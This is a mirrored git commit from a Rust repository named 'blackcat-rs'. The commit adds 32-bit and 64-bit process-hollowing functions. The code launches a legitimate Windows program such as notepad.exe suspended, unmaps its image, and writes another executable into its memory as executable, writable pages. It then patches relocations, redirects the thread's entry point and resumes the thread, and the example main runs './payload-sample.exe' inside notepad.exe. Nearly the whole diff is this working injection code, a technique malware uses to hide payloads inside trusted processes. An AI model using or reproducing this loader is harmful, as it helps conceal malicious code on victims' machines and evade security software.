mirror of
https://github.com/2vg/blackcat-rs
synced 2026-06-08 10:16:29 +00:00
complete to implement for 64bit🎉
This commit is contained in:
@@ -8,6 +8,6 @@ edition = "2018"
|
||||
|
||||
[dependencies]
|
||||
ntapi = "0.3.6"
|
||||
winapi = { version = "0.3.9", features = ["fileapi", "handleapi", "memoryapi", "minwindef", "ntdef", "processthreadsapi", "winbase", "winnt"] }
|
||||
winapi = { version = "0.3.9", features = ["errhandlingapi", "fileapi", "handleapi", "memoryapi", "minwindef", "ntdef", "processthreadsapi", "winbase", "winnt"] }
|
||||
anyhow = "1.0.38"
|
||||
bitfield = "0.13.2"
|
||||
|
||||
+171
-114
@@ -3,9 +3,6 @@ extern crate bitfield;
|
||||
|
||||
pub mod pe;
|
||||
|
||||
// TODO: remove this module
|
||||
pub mod mem;
|
||||
|
||||
use crate::pe::{
|
||||
read_image32, read_image64, read_remote_image32, read_remote_image64, get_image_base_address,
|
||||
X96, x96_check, x96_check_from_remote
|
||||
@@ -13,14 +10,14 @@ use crate::pe::{
|
||||
use anyhow::*;
|
||||
use ntapi::ntmmapi:: NtUnmapViewOfSection;
|
||||
use winapi::shared::{
|
||||
ntdef::{ BOOLEAN, HANDLE, PVOID, ULONG },
|
||||
minwindef::{ DWORD, LPCVOID, PUCHAR, UCHAR }
|
||||
ntdef::PVOID,
|
||||
};
|
||||
use winapi::um::{
|
||||
errhandlingapi::{ GetLastError },
|
||||
memoryapi::{ VirtualAllocEx, ReadProcessMemory, WriteProcessMemory },
|
||||
processthreadsapi::{
|
||||
CreateProcessA, STARTUPINFOA, PROCESS_INFORMATION, ResumeThread,
|
||||
GetThreadContext, SetThreadContext
|
||||
GetThreadContext, SetThreadContext, // SuspendThread
|
||||
},
|
||||
winbase:: {
|
||||
CREATE_SUSPENDED,
|
||||
@@ -28,7 +25,7 @@ use winapi::um::{
|
||||
},
|
||||
winnt:: {
|
||||
IMAGE_DIRECTORY_ENTRY_BASERELOC, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE,
|
||||
CONTEXT, WOW64_CONTEXT, CONTEXT_INTEGER, WOW64_CONTEXT_INTEGER
|
||||
CONTEXT, WOW64_CONTEXT, CONTEXT_FULL, WOW64_CONTEXT_FULL
|
||||
}
|
||||
};
|
||||
|
||||
@@ -49,17 +46,6 @@ struct BASE_RELOCATION_BLOCK {
|
||||
BlockSize: u32,
|
||||
}
|
||||
|
||||
/*
|
||||
bitfield! {
|
||||
struct BASE_RELOCATION_ENTRY([u8]);
|
||||
impl Debug;
|
||||
u8;
|
||||
u8, block_type, _: 3, 0;
|
||||
u16, offset, _: 15, 4;
|
||||
}
|
||||
|
||||
// */
|
||||
///*
|
||||
bitfield! {
|
||||
struct BASE_RELOCATION_ENTRY([u8]);
|
||||
impl Debug;
|
||||
@@ -67,9 +53,8 @@ bitfield! {
|
||||
u16, offset, _: 11, 0;
|
||||
u8, block_type, _: 15, 12;
|
||||
}
|
||||
// */
|
||||
|
||||
pub unsafe fn hollow(src: impl Into<String>, dest: impl Into<String>) -> Result<()> {
|
||||
pub unsafe fn hollow32(src: impl Into<String>, dest: impl Into<String>) -> Result<()> {
|
||||
// Create dest process
|
||||
let mut startup = zeroed::<STARTUPINFOA>();
|
||||
let mut process_info = zeroed::<PROCESS_INFORMATION>();
|
||||
@@ -80,33 +65,15 @@ pub unsafe fn hollow(src: impl Into<String>, dest: impl Into<String>) -> Result<
|
||||
// Get dest image, image_address
|
||||
let hp = process_info.hProcess;
|
||||
let mut dest_image_address = get_image_base_address(hp);
|
||||
let dest_image = read_remote_image32(hp, dest_image_address)?;
|
||||
|
||||
// TODO: remove debug print
|
||||
println!("dest Signature: {:?}", (*dest_image.FileHeader).Signature);
|
||||
println!("dest Machine: {:?}", (*dest_image.FileHeader).FileHeader.Machine);
|
||||
println!("dest Architecture: {:?}", x96_check_from_remote(process_info.hProcess, dest_image_address));
|
||||
|
||||
// this did not worked, i guess image =/= not image_base_address so
|
||||
// println!("Architecture: {:?}", x96_check(&mut image));
|
||||
|
||||
// TODO: read src program and mapping
|
||||
// read src program and mapping
|
||||
let file_name = src.into();
|
||||
|
||||
let mut f = File::open(&file_name).with_context(|| format!("could not opening the file: {}", &file_name))?;
|
||||
let mut buffer = Vec::new();
|
||||
f.read_to_end(&mut buffer).with_context(|| format!("could not reading from the file: {}", &file_name))?;
|
||||
|
||||
// TODO: remove debug print
|
||||
// as example, sample.exe is 64bit so expect Architecture output is X96::X64
|
||||
// then at here, using read_image64
|
||||
// and need to pass buffer[0], not buffer. becase &buffer is Vec struct pointer.
|
||||
// arg pointer should be buffer's first pointer so
|
||||
// btw, "&mut buffer[0] as *const _ as *mut _" is ugly, i have to change better code...
|
||||
let src_image = read_image32(&mut buffer[0] as *const _ as *mut _);
|
||||
println!("src Signature: {:?}", (*src_image.FileHeader).Signature);
|
||||
println!("src Machine: {:?}", (*src_image.FileHeader).FileHeader.Machine);
|
||||
println!("src Architecture: {:?}", x96_check(&mut buffer[0]));
|
||||
|
||||
// Unmapping image from dest process
|
||||
if NtUnmapViewOfSection(hp, dest_image_address as *mut _) != STATUS_SUCCESS {
|
||||
@@ -118,26 +85,16 @@ pub unsafe fn hollow(src: impl Into<String>, dest: impl Into<String>) -> Result<
|
||||
let new_dest_image_address = VirtualAllocEx(
|
||||
hp, dest_image_address as *mut _, src_nt_header.OptionalHeader.SizeOfImage as usize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
|
||||
);
|
||||
if new_dest_image_address as usize == 0x0 {
|
||||
if new_dest_image_address as u64 == 0x0 as u64 {
|
||||
bail!("could not allocate of the remote process image. VirtualAllocEx calling was failed.")
|
||||
};
|
||||
|
||||
println!("old dest image memory: {:?}", dest_image_address);
|
||||
println!("new dest image memory: {:?}", new_dest_image_address);
|
||||
println!("src image memory: 0x{:x}", src_nt_header.OptionalHeader.ImageBase);
|
||||
|
||||
dest_image_address = new_dest_image_address;
|
||||
|
||||
// Delta relocation
|
||||
let delta = dest_image_address as usize - src_nt_header.OptionalHeader.ImageBase as usize;
|
||||
// TODO: remove debug print
|
||||
println!("Source image base: 0x{:x}", src_nt_header.OptionalHeader.ImageBase);
|
||||
println!("Destination image base: {:?}", new_dest_image_address);
|
||||
println!("Relocation delta: 0x{:x}", delta);
|
||||
|
||||
(*src_image.FileHeader).OptionalHeader.ImageBase = dest_image_address as u32;
|
||||
// TODO: remove debug print
|
||||
println!("Changed source image base: 0x{:x}", (*src_image.FileHeader).OptionalHeader.ImageBase);
|
||||
|
||||
if WriteProcessMemory(
|
||||
hp, dest_image_address as *mut _, &mut buffer[0] as *const _ as *mut _,
|
||||
@@ -148,15 +105,9 @@ pub unsafe fn hollow(src: impl Into<String>, dest: impl Into<String>) -> Result<
|
||||
let src_sections = std::slice::from_raw_parts(src_image.Sections, src_image.NumberOfSections as usize);
|
||||
|
||||
for section in src_sections {
|
||||
// TODO: remove debug print
|
||||
println!("pointer to raw data: 0x{:x}", section.PointerToRawData);
|
||||
println!("pointer to raw data size: 0x{:x}", section.SizeOfRawData);
|
||||
|
||||
let p_dest_section = dest_image_address as usize + section.VirtualAddress as usize;
|
||||
|
||||
// TODO: remove debug print
|
||||
println!("writing {:?} section to 0x{:x}", section.Name, p_dest_section);
|
||||
|
||||
if WriteProcessMemory(
|
||||
hp, p_dest_section as *mut _, &mut buffer[section.PointerToRawData as usize] as *const _ as *mut _,
|
||||
section.SizeOfRawData as usize, null_mut()) == 0 {
|
||||
@@ -166,34 +117,17 @@ pub unsafe fn hollow(src: impl Into<String>, dest: impl Into<String>) -> Result<
|
||||
|
||||
if delta != 0x0 {
|
||||
for section in src_sections {
|
||||
// TODO: remove debug print
|
||||
println!("section name: {:?}", String::from_utf8(section.Name.into()));
|
||||
|
||||
//if memcmp(§ion.Name as *const _, &DOT_RELOC as *const _, DOT_RELOC.len()) > 0 { continue }
|
||||
if section.Name != DOT_RELOC { continue }
|
||||
|
||||
// TODO: remove debug print
|
||||
//println!(".reloc VirtualAddress: 0x{:x}", section.VirtualAddress);
|
||||
//println!(".reloc SizeOfRawData: 0x{:x}", section.SizeOfRawData);
|
||||
//println!(".reloc PointerToRawData: 0x{:x}", section.PointerToRawData);
|
||||
//println!(".reloc PointerToRelocations: 0x{:x}", section.PointerToRelocations);
|
||||
//println!(".reloc PointerToLinenumbers: 0x{:x}", section.PointerToLinenumbers);
|
||||
//println!(".reloc NumberOfRelocations: 0x{:x}", section.NumberOfRelocations);
|
||||
//println!(".reloc NumberOfLinenumbers: 0x{:x}", section.NumberOfLinenumbers);
|
||||
|
||||
// rebase image flow
|
||||
let reloc_address = section.PointerToRawData;
|
||||
let mut offset = 0;
|
||||
let reloc_address = section.PointerToRawData as u64;
|
||||
let mut offset = 0 as u64;
|
||||
let reloc_data = (*src_image.FileHeader).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize];
|
||||
|
||||
while offset < reloc_data.Size {
|
||||
while offset < reloc_data.Size as u64 {
|
||||
let block_header = std::ptr::read::<BASE_RELOCATION_BLOCK>(&mut buffer[(reloc_address + offset) as usize] as *const _ as *mut _);
|
||||
|
||||
// TODO: remove debug print
|
||||
//println!("base reloc addr: 0x{:x}", block_header.PageAddress);
|
||||
//println!("base reloc size: 0x{:x}", block_header.BlockSize);
|
||||
|
||||
offset = offset + std::mem::size_of::<BASE_RELOCATION_BLOCK>() as u32;
|
||||
offset = offset + std::mem::size_of::<BASE_RELOCATION_BLOCK>() as u64;
|
||||
|
||||
// 2 is relocation entry size.
|
||||
// ref: https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#base-relocation-types
|
||||
@@ -202,37 +136,27 @@ pub unsafe fn hollow(src: impl Into<String>, dest: impl Into<String>) -> Result<
|
||||
let block_entry = std::slice::from_raw_parts::<[u8; 2]>(&mut buffer[(reloc_address + offset) as usize] as *const _ as *mut _, entry_count as usize);
|
||||
|
||||
for block in block_entry {
|
||||
// TODO: remove debug print
|
||||
//println!("block: 0x{:x}, 0x{:x}", block[0], block[1]);
|
||||
let block = BASE_RELOCATION_ENTRY(*block);
|
||||
// TODO: remove debug print
|
||||
//println!("block type: {:?}", block.block_type());
|
||||
//println!("block offset: 0x{:x}", block.offset());
|
||||
|
||||
offset = offset + 2;
|
||||
|
||||
if block.block_type() == 0 { continue }
|
||||
|
||||
let field_address = block_header.PageAddress + block.offset() as u32;
|
||||
//println!("page address: 0x{:x}", block_header.PageAddress);
|
||||
//println!("field_address: 0x{:x}", field_address);
|
||||
let field_address = block_header.PageAddress as u64 + block.offset() as u64;
|
||||
|
||||
let mut d_buffer = 0;
|
||||
let mut d_buffer = 0 as u64;
|
||||
|
||||
// failed for now, i dont know
|
||||
///*
|
||||
if ReadProcessMemory(
|
||||
hp, (dest_image_address as u32 + field_address) as PVOID,
|
||||
&mut d_buffer as *const _ as *mut _, size_of::<u32>(), null_mut()) == 0 {
|
||||
hp, (dest_image_address as u64 + field_address) as PVOID,
|
||||
&mut d_buffer as *const _ as *mut _, size_of::<u64>(), null_mut()) == 0 {
|
||||
bail!("could not read memory from new dest image.")
|
||||
}
|
||||
|
||||
d_buffer = d_buffer + delta as u32;
|
||||
// */
|
||||
d_buffer = d_buffer + delta as u64;
|
||||
|
||||
if WriteProcessMemory(
|
||||
hp, (dest_image_address as u32 + field_address) as PVOID,
|
||||
&mut d_buffer as *const _ as *mut _, size_of::<u32>(), null_mut()) == 0 {
|
||||
hp, (dest_image_address as u64 + field_address) as PVOID,
|
||||
&mut d_buffer as *const _ as *mut _, size_of::<u64>(), null_mut()) == 0 {
|
||||
bail!("could not write memory to new dest image.")
|
||||
}
|
||||
}
|
||||
@@ -241,40 +165,173 @@ pub unsafe fn hollow(src: impl Into<String>, dest: impl Into<String>) -> Result<
|
||||
}
|
||||
|
||||
// create context, and change entry point
|
||||
let entry_point = dest_image_address as u32 + (*src_image.FileHeader).OptionalHeader.AddressOfEntryPoint;
|
||||
let entry_point = dest_image_address as u64 + (*src_image.FileHeader).OptionalHeader.AddressOfEntryPoint as u64;
|
||||
let mut context = zeroed::<WOW64_CONTEXT>();
|
||||
context.ContextFlags = WOW64_CONTEXT_INTEGER;
|
||||
|
||||
context.ContextFlags = WOW64_CONTEXT_FULL;
|
||||
|
||||
if Wow64GetThreadContext(process_info.hThread, &mut context as *mut _) == 0 {
|
||||
bail!("could not get thread context.");
|
||||
bail!("could not get thread context: {}", GetLastError());
|
||||
}
|
||||
|
||||
context.Eax = entry_point;
|
||||
context.Eax = entry_point as u32;
|
||||
|
||||
if Wow64SetThreadContext(process_info.hThread, &mut context as *mut _) == 0 {
|
||||
bail!("could not set thread context.");
|
||||
bail!("could not set thread context: {}", GetLastError());
|
||||
}
|
||||
|
||||
// TODO: Resume thread
|
||||
if ResumeThread(process_info.hThread) <= 0 as DWORD {
|
||||
bail!("could not set thread context.");
|
||||
// Resume thread
|
||||
if ResumeThread(process_info.hThread) == u32::MAX {
|
||||
bail!("could not set thread context: {}", GetLastError());
|
||||
}
|
||||
|
||||
// TODO: remove debug print
|
||||
// remove debug print
|
||||
println!("process was hollowed ε٩(๑> 3 <)۶з");
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub unsafe extern fn memcmp(s1: *const u8, s2: *const u8, n: usize) -> i32 {
|
||||
let mut i = 0;
|
||||
while i < n {
|
||||
let a = *s1.offset(i as isize);
|
||||
let b = *s2.offset(i as isize);
|
||||
if a != b {
|
||||
return a as i32 - b as i32
|
||||
}
|
||||
i += 1;
|
||||
pub unsafe fn hollow64(src: impl Into<String>, dest: impl Into<String>) -> Result<()> {
|
||||
// Create dest process
|
||||
let mut startup = zeroed::<STARTUPINFOA>();
|
||||
let mut process_info = zeroed::<PROCESS_INFORMATION>();
|
||||
|
||||
let dest = CString::new(dest.into()).expect("CString::new failed");
|
||||
CreateProcessA(null_mut(), dest.as_ptr() as *mut _, null_mut(), null_mut(), 0, CREATE_SUSPENDED, null_mut(), null_mut(), &mut startup, &mut process_info);
|
||||
|
||||
// Get dest image, image_address
|
||||
let hp = process_info.hProcess;
|
||||
let mut dest_image_address = get_image_base_address(hp);
|
||||
|
||||
//let dest_image = read_remote_image32(hp, dest_image_address)?;
|
||||
|
||||
// this did not worked, i guess image =/= not image_base_address so
|
||||
// println!("Architecture: {:?}", x96_check(&mut image));
|
||||
|
||||
// read src program and mapping
|
||||
let file_name = src.into();
|
||||
|
||||
let mut f = File::open(&file_name).with_context(|| format!("could not opening the file: {}", &file_name))?;
|
||||
let mut buffer = Vec::new();
|
||||
f.read_to_end(&mut buffer).with_context(|| format!("could not reading from the file: {}", &file_name))?;
|
||||
|
||||
// as example, sample.exe is 64bit so expect Architecture output is X96::X64
|
||||
// then at here, using read_image64
|
||||
// and need to pass buffer[0], not buffer. becase &buffer is Vec struct pointer.
|
||||
// arg pointer should be buffer's first pointer so
|
||||
// btw, "&mut buffer[0] as *const _ as *mut _" is ugly, i have to change better code...
|
||||
let src_image = read_image64(&mut buffer[0] as *const _ as *mut _);
|
||||
|
||||
// Unmapping image from dest process
|
||||
if NtUnmapViewOfSection(hp, dest_image_address as *mut _) != STATUS_SUCCESS {
|
||||
bail!("could not unmapping image from dest process. NtUnmapViewOfSection calling was failed.")
|
||||
};
|
||||
|
||||
// Allocate memory for src program
|
||||
let src_nt_header = *src_image.FileHeader;
|
||||
let new_dest_image_address = VirtualAllocEx(
|
||||
hp, dest_image_address as *mut _, src_nt_header.OptionalHeader.SizeOfImage as usize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
|
||||
);
|
||||
if new_dest_image_address as u64 == 0x0 as u64 {
|
||||
bail!("could not allocate of the remote process image. VirtualAllocEx calling was failed.")
|
||||
};
|
||||
|
||||
dest_image_address = new_dest_image_address;
|
||||
|
||||
// Delta relocation
|
||||
let delta = dest_image_address as usize - src_nt_header.OptionalHeader.ImageBase as usize;
|
||||
|
||||
(*src_image.FileHeader).OptionalHeader.ImageBase = dest_image_address as u64;
|
||||
|
||||
if WriteProcessMemory(
|
||||
hp, dest_image_address as *mut _, &mut buffer[0] as *const _ as *mut _,
|
||||
(*src_image.FileHeader).OptionalHeader.SizeOfHeaders as usize, null_mut()) == 0 {
|
||||
bail!("could not write process memory.");
|
||||
}
|
||||
return 0;
|
||||
|
||||
let src_sections = std::slice::from_raw_parts(src_image.Sections, src_image.NumberOfSections as usize);
|
||||
|
||||
for section in src_sections {
|
||||
|
||||
let p_dest_section = dest_image_address as usize + section.VirtualAddress as usize;
|
||||
|
||||
if WriteProcessMemory(
|
||||
hp, p_dest_section as *mut _, &mut buffer[section.PointerToRawData as usize] as *const _ as *mut _,
|
||||
section.SizeOfRawData as usize, null_mut()) == 0 {
|
||||
bail!("could not write process memory.");
|
||||
}
|
||||
}
|
||||
|
||||
if delta != 0x0 {
|
||||
for section in src_sections {
|
||||
if section.Name != DOT_RELOC { continue }
|
||||
|
||||
// rebase image flow
|
||||
let reloc_address = section.PointerToRawData as u64;
|
||||
let mut offset = 0 as u64;
|
||||
let reloc_data = (*src_image.FileHeader).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize];
|
||||
|
||||
while offset < reloc_data.Size as u64 {
|
||||
let block_header = std::ptr::read::<BASE_RELOCATION_BLOCK>(&mut buffer[(reloc_address + offset) as usize] as *const _ as *mut _);
|
||||
|
||||
offset = offset + std::mem::size_of::<BASE_RELOCATION_BLOCK>() as u64;
|
||||
|
||||
// 2 is relocation entry size.
|
||||
// ref: https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#base-relocation-types
|
||||
let entry_count = (block_header.BlockSize - std::mem::size_of::<BASE_RELOCATION_BLOCK>() as u32) / 2;
|
||||
|
||||
let block_entry = std::slice::from_raw_parts::<[u8; 2]>(&mut buffer[(reloc_address + offset) as usize] as *const _ as *mut _, entry_count as usize);
|
||||
|
||||
for block in block_entry {
|
||||
let block = BASE_RELOCATION_ENTRY(*block);
|
||||
|
||||
offset = offset + 2;
|
||||
|
||||
if block.block_type() == 0 { continue }
|
||||
|
||||
let field_address = block_header.PageAddress as u64 + block.offset() as u64;
|
||||
|
||||
let mut d_buffer = 0 as u64;
|
||||
|
||||
if ReadProcessMemory(
|
||||
hp, (dest_image_address as u64 + field_address) as PVOID,
|
||||
&mut d_buffer as *const _ as *mut _, size_of::<u64>(), null_mut()) == 0 {
|
||||
bail!("could not read memory from new dest image.")
|
||||
}
|
||||
|
||||
d_buffer = d_buffer + delta as u64;
|
||||
|
||||
if WriteProcessMemory(
|
||||
hp, (dest_image_address as u64 + field_address) as PVOID,
|
||||
&mut d_buffer as *const _ as *mut _, size_of::<u64>(), null_mut()) == 0 {
|
||||
bail!("could not write memory to new dest image.")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// create context, and change entry point
|
||||
let entry_point = dest_image_address as u64 + (*src_image.FileHeader).OptionalHeader.AddressOfEntryPoint as u64;
|
||||
let mut context = zeroed::<CONTEXT>();
|
||||
context.ContextFlags = CONTEXT_FULL;
|
||||
|
||||
if GetThreadContext(process_info.hThread, &mut context as *mut _) == 0 {
|
||||
bail!("could not get thread context: {}", GetLastError());
|
||||
}
|
||||
|
||||
context.Rip = entry_point;
|
||||
|
||||
if SetThreadContext(process_info.hThread, &mut context as *mut _) == 0 {
|
||||
bail!("could not set thread context: {}", GetLastError());
|
||||
}
|
||||
|
||||
// Resume thread
|
||||
if ResumeThread(process_info.hThread) == u32::MAX {
|
||||
bail!("could not set thread context: {}", GetLastError());
|
||||
}
|
||||
|
||||
// remove debug print
|
||||
println!("process was hollowed ε٩(๑> 3 <)۶з");
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -3,7 +3,12 @@ extern crate process_hollow;
|
||||
use anyhow::*;
|
||||
|
||||
fn main() -> Result<()> {
|
||||
unsafe { process_hollow::hollow("c:\\windows\\syswow64\\calc.exe", "c:\\windows\\syswow64\\notepad.exe")? };
|
||||
// 32bit -> 32bit
|
||||
unsafe { process_hollow::hollow32("c:\\windows\\syswow64\\calc.exe", "c:\\windows\\syswow64\\notepad.exe")? };
|
||||
|
||||
// 64bit -> 64bit
|
||||
unsafe { process_hollow::hollow64("./payload-sample.exe", "notepad.exe")? };
|
||||
|
||||
println!("Exit after 3secs...");
|
||||
std::thread::sleep(std::time::Duration::from_millis(3000));
|
||||
Ok(())
|
||||
|
||||
Reference in New Issue
Block a user